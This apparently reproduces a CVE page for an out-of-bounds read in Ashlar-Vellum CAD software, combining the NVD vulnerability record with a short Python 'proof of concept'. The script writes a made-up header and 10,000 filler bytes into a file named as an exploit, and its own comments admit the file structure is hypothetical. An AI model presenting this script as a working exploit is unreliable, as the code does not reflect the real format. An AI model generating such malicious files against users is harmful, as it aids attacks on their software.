CVE-2025-65087

import struct # This is a conceptual PoC for CVE-2025-65087. # It generates a malformed VC6 file to trigger the Out-of-Bounds Read. # The specific header or structure manipulation depends on the file format specification. def generate_malicious_vc6(filename): """Generates a potentially malicious VC6 file.""" # Standard VC6 header (hypothetical structure for demonstration) header = b"VC6_FILE_FORMAT" # Malicious data section designed to trigger overflow/bounds issue # Attempting to force a read beyond the allocated buffer size malicious_payload = b"A" * 10000 # Construct the file with open(filename, "wb") as f: f.write(header) f.write(malicious_payload) print(f"[+] Malicious file generated: {filename}") print(f"[+] Attempt to open this file in the vulnerable version of Ashlar-Vellum software.") if __name__ == "__main__": generate_malicious_vc6("exploit_vc6.vc6")

{"cve": {"id": "CVE-2025-65087", "sourceIdentifier": "[email protected]", "published": "2026-05-12T21:16:13.570", "lastModified": "2026-05-14T14:57:34.480", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An Out-of-Bounds Read vulnerability is present in Ashlar-Vellum Cobalt, Xenon, Argon, Lithium, and Cobalt Share versions 12.6.1204.216 and prior that could allow an attacker to disclose information or execute arbitrary code when a specially crafted VC6 file is being parsed."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ashlar:argon:*:*:*:*:*:*:*:*", "versionEndIncluding": "12.6.1204.216", "matchCriteriaId": "A9EED009-F60A-485A-89B9-DADCB52EEB3C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ashlar:cobalt:*:*:*:*:*:*:*:*", "versionEndIncluding": "12.6.1204.216", "matchCriteriaId": "D81B4A22-64AB-4583-80DC-ACCC5A1CC755"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ashlar:cobalt_share:*:*:*:*:*:*:*:*", "versionEndIncluding": "12.6.1204.216", "matchCriteriaId": "D2264FCB-322C-4108-8408-F3033B53DC36"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ashlar:lithium:*:*:*:*:*:*:*:*", "versionEndIncluding": "12.6.1204.216", "matchCriteriaId": "3E0139EF-F687-49D8-A0C3-E712E6F1C091"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ashlar:xenon:*:*:*:*:*:*:*:*", "versionEndIncluding": "12.6.1204.216", "matchCriteriaId": "452EABC9-CA77-4F86-848E-F500ECE08753"}]}]}], "references": [{"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-329-01", "source": "[email protected]", "tags": ["Third Party Advisory", "US Government Resource"]}]}}